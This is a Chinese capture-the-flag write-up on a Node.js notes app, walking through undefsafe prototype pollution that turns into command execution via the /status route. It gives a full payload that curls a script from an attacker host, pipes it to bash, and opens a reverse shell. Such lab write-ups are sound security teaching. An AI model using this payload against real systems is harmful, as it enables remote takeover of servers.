题目给了源码

因为靶场我们不好反弹shell

所以我们部署到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

环境部署

首先我们打开ubantu

1
2
3
4
5
6
7
8
9
10
11
12
mkdir /root/wdb2020
vim app.js
//复制源码粘贴进去
npm install undefsafe@2.0.2 --save //因为我们这里漏洞生效的版本在 <=2.0.3
npm install express pug

mkdir /root/wdb2020/views
touch index.pug mess.pug note.pug //可以为空保证我们的js文件能正常运行即可

//最后运行app.js

node app.js

代码分析及解决

我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:

1
2
3
4
5
6
7
8
9
10
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

发现在查看 note 和编辑 note 时会调用 undefsafe,那我们首先查看 get_note 方法会被哪个路由调用:

1
2
3
4
5
6
7
8
9
10
11
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

发现此时虽然 q 参数可控,但是也只有 q 参数可控,也就是说我们只能控制 undefsave 函数的第二个参数,而 undefsave 函数的第三个参数我们控制不了。

而对于 edit_note 方法,我们发现 edit_note 路由中会调用 edit_note 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

此时 id、author 和 raw 均为我们的可控值,那么我们则可以操纵原型链进行污染:

edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

这里 1或者2 都可以利用

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status 路由有命令执行的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')    // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`); // 将命令执行结果输出
});
}
res.send('OK');
res.end();
})

这里他用的 for … in … 我们查找官方文档可以知道

image-20250718175443628

循环迭代可枚举的非符号属性,包括他所继承的object

我们可以做个测试

image-20250718175955349

通过测试也完全印证了我们的想法

那么这里我们就可以考虑怎么构造payload

1
id=__proto__&author=curl 192.168.197.130/shell.txt|bash&raw=aaaa;

运用反弹shell

我们还需要在攻击机,运行nginx服务,然后vim shell.txt ,让目标主机来curl 触发反弹shell

image-20250718180320499

接下来去抓包测试,这里我用hackbar直接进行post提交

image-20250718180436299

然后在访问/status 路由触发命令执行

偶对,这里我们需要在攻击机上监听2333端口

image-20250718180606268

访问/status

image-20250718180634856

成功触发反弹shell